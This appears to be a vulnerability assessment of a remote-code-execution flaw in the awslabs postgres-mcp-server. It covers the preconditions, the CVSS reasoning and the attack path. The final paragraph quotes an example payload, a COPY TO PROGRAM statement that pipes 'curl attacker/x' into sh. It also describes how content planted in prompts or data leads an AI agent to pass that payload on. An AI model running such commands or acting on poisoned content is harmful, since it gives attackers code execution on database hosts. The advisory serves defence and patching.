postgres-mcp-server CVE-2026-87911

Requires the target to run awslabs postgres-mcp-server before 1.1.7 connected to a self-managed PostgreSQL server whose database account can invoke COPY ... TO PROGRAM (i.e. superuser or pg_execute_server_program privileges - managed services like RDS/Aurora that disable this are not exploitable). Exploitation proceeds even in the default read-only mode. Limiting factors: the malicious COPY statement only executes when an authenticated user (or agent) interacts with the MCP server on attacker-influenced content (CVSS UI:P), and a specific attack precondition must be met (CVSS AT:P), so this is an indirect/content-poisoning vector rather than a direct unauthenticated network hit.

The supplied CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P, base 9.0) with VC/VI/VA:H and subsequent-system SC/SI/SA:H reflects full host compromise, but two metrics materially temper real-world risk: UI:P (a legitimate authenticated user must interact with the MCP server on the poisoned content) and AT:P (a specific attack requirement/precondition must hold). This is not a straight unauthenticated internet-facing RCE - PR:N describes the actor who plants the crafted COPY statement, while the payload only fires when an authorized user or agent processes that content, making it an indirect / data-poisoning style vector well suited to AI-agent workflows. No EPSS score, KEV listing, or POC was provided, so there is no evidence of active exploitation or a published exploit. It is a genuine RCE worth prompt patching given the trivial COPY TO PROGRAM technique, but the required user interaction, the self-managed-PostgreSQL precondition, and the relatively narrow deployment footprint place it below internet-scale wormable threats.

An attacker seeds a data source, document, or prompt with a crafted COPY (SELECT 1) TO PROGRAM 'curl attacker/x|sh' statement. When an authenticated user or AI agent later queries the postgres-mcp-server in its default read-only mode, the validation layer passes the COPY statement to the self-managed PostgreSQL server, which executes the shell command as the postgres OS user - giving the attacker code execution on the database host. No public exploit code was identified, but the underlying COPY TO PROGRAM technique is well known.